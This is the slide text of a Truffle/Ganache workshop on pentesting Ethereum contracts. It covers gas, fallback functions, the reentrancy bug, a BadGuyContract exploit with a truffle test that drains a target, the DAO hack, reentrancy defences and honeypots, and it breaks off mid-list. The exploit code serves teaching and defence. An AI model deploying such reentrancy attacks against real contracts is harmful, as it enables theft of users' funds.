Welcome to Pentesting Ethereum Contract with Ganache!
We’re about to get started here. Please come in and take a seat, get your laptops ready…
Pentesting Ethereum Contracts
withGanache
My name is David Murdoch. I’m the team lead for Ganache at Truffle.
Ganache Lead
Blockchain Eng.
Who is Truffle?
Truffle is a company whose goal is to build tools to get developers from idea to dapp as comfortably as possible.
TRUFFLE dev environment, testing framework, and asset pipeline for blockchains
drizzle front-end library for dapps
Ganache one-click blockchain
What is Ganache?
A personal blockchain for Ethereum development
Ganache UI: graphical user interface
ganache-cli: command line tool
ganache-core: Node.js integration tool
Ganache UI
One-Click Blockchain
Ganache UI
Truffle Project Integration
Ganache Forking
Easy Mainnet testing without the cost
No sync needed •
No fees required •
No risk of losing funds
Ganache Forking
Now in Ganache UI (alpha)
Security
Ethereum development is High-Risk
Bytecode is public
Contracts are public
Hackers are private and anonymous
If you mess up, you, or your users, lose big with zero recourse
Key Concepts
A few things we need to know before we get to work
Gas •
Fallback Functions •
Reentrancy
Gas
To transact on Ethereum you must pay a fee; this fee is paid in “gas”.
Gas is paid for in Ether.
Operations on Ethereum, i.e., storing/retrieving data, transferring funds, math(s) operations, looping, etc., require some amount of gas.
Generally, if a transaction attempts to use more gas than it is given the transaction fails and no state changes are persisted.
Fallback Functions
can execute operations as long as there is enough gas forwarded to it
A fallback function must be external and is unnamed. It is called when:
a contract’s address is sent Ether, or
a non-existent contract function is called.
solidity
function() external payable {
// Hello, I’m a payable fallback function.
// I’m invoked when Ether is sent to my contract’s address
// or when a method on my contract is called that doesn’t exist.
}
Reentrancy Vulnerability
When a contract permits unintended re-invocation of any its methods after calling an external contract during a single transaction.
Smart Contract Reentrancy allows for multiple invocations of a contract’s methods during a single transaction, usually caused by forwarding excess gas to a malicious contract’s fallback function without proper reentrancy protection.
Reentrant Vulnerability
solidity
function withdraw() external {
// get caller’s balance
uint256 amount = balances[msg.sender];
// send the amount to the caller
require(msg.sender.call.value(amount)()); 👈 reentrant vulnerability
// zero-out the caller’s balance
balances[msg.sender] = 0;
}
The sender is able to call withdraw again before the balance is zeroed out.
Disclaimer
Just because you can, doesn’t mean you should.
The intent of this workshop is to teach you how to protect your contracts against bad actors.
There is a difference between permissioned pentesting and white-hat (or black-hat) “hacking”.
Don’t steal. Stay legal. Be nice to people.
and Listen to Dr. Ian Malcolm
Reentrant Exploit
The attacker uses a fallback function to recursively call the target’s withdraw function.
The attacker uses a fallback function to recursively call the target’s withdraw function.
solidity
import "./ClonedInterface.sol"; // not required, improves readability
contract BadGuyContract {
ClonedInterface victim;
constructor(address payable target) public payable {
victim = ClonedInterface(target);
victim.deposit(msg.value);
}
function beBad() {
victim.withdraw();
}
function() external payable { // fallback
if (gasleft() < AMOUNT_NEEDED) { return; }
victim.withdraw(); 👈 reenter contract, again, ad infinitum…
}
}
Reentrant Execution
The attacker deploys their BadGuyContract contract and executes the attack against the target contract.
bad@guy:~$ truffle test
javascript (with truffle)
const BadGuyContract = artifacts.require("./BadGuyContract.sol");
contract("BadGuyContract", accounts => {
it("exploits the target contract", async () => {
const target = "0x..."; // target’s address
// deploy the BadGuyContract, seeding it with 1 Ether
const value = web3.utils.toWei(1);
const contract = await BadGuyContract.deploy(target, {value});// execute the attack, stealing Ether from the target
await contract.beBad();
});
});
What we’ve covered so far
Truffle
Ganache
Ganache Forking
Gas
Fallback Functions
Reentrancy
Exploit
truffle test
Questions?
DAO Hack
The most infamous Ethereum reentrancy attack
solidity
// simplified version of the DAO vulerability
function payOut(address _recipient, uint _amount) returns (bool) {
// send `_amount` to `_recipient`, forwarding all remaining gas
if (_recipient.call.value(_amount)()) { 👈 reentrancy vulerability
// then, if successful, mark `_recipient` as paid
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}
Reentrancy Protection
solidity
// 1) Checks-Effects-Interactions pattern
function withdraw() external {
require(balances[msg.sender] > 0); 👈 check
uint256 amount = balances[msg.sender];
// set balance to 0 before calling external contract
balances[msg.sender] = 0; 👈 effect
require(msg.sender.call.value(amount)()); 👈 interaction
}
// 2) use a mutex or OpenZeppelin’s ReentrancyGuard
function withdraw() external {
require(!lock, "Reentrancy not allowed");
lock = true; 👈 lock
/* do the things */ 👈 do things
lock = false; 👈 unlock
}
An Anti Pattern
Using address.send or address.transfer to protect against reentrancy is an anti-pattern
address.call forwards all remaining gas by default, while address.transfer and address.send only forward 2300* gas.
2300 gas is not enough gas to allow for reentrancy, so it appears that we are safe!
However, this may not be true in future hardforks! You should not rely on gas costs to protect against reentrancy!
* ish, it’s complicated
Constantinople
Reduced storage costs allowed for reentrancy where it wasn’t possible before
An EIP included in Constantinople would have lowered the minimum cost of storage from 5000 gas to 200 gas.
This could have introduced vulerabilities into contracts that rely on the default gas stipend of transfer/send for protection.
The EIP was removed in Petersburg and was never live on Mainnet*.
* ish, it’s also complicated
Istanbul
Istanbul’s increased gas costs may break some contracts
Some contracts are coded to rely on gas costs remaining the same and will now run out of gas.
You probably shouldn’t use address.transfer or address.send.
solidity
// previously worked; breaks under Istanbul!
function() public payable {
require(total() + msg.value <= limit);
}
Do not rely on gas costs to protect against reentrancy!
testing
The Honeypot
Hack the Hacker
What if we could design a contract that would not only stop the bad guy, but make the bad guy themselves the victim!
That is what an Ethereum honeypot contract is*: a contract that is cleverly disguised to look vulnerabile, but isn’t.
* in infosec this is a “mousetrap”, but in Ethereum we’ve been calling it a honeypot… so a honeypot it is.
testing
Types of Honeypots
There are many ways to craft a honeypot; here are some tricky ones: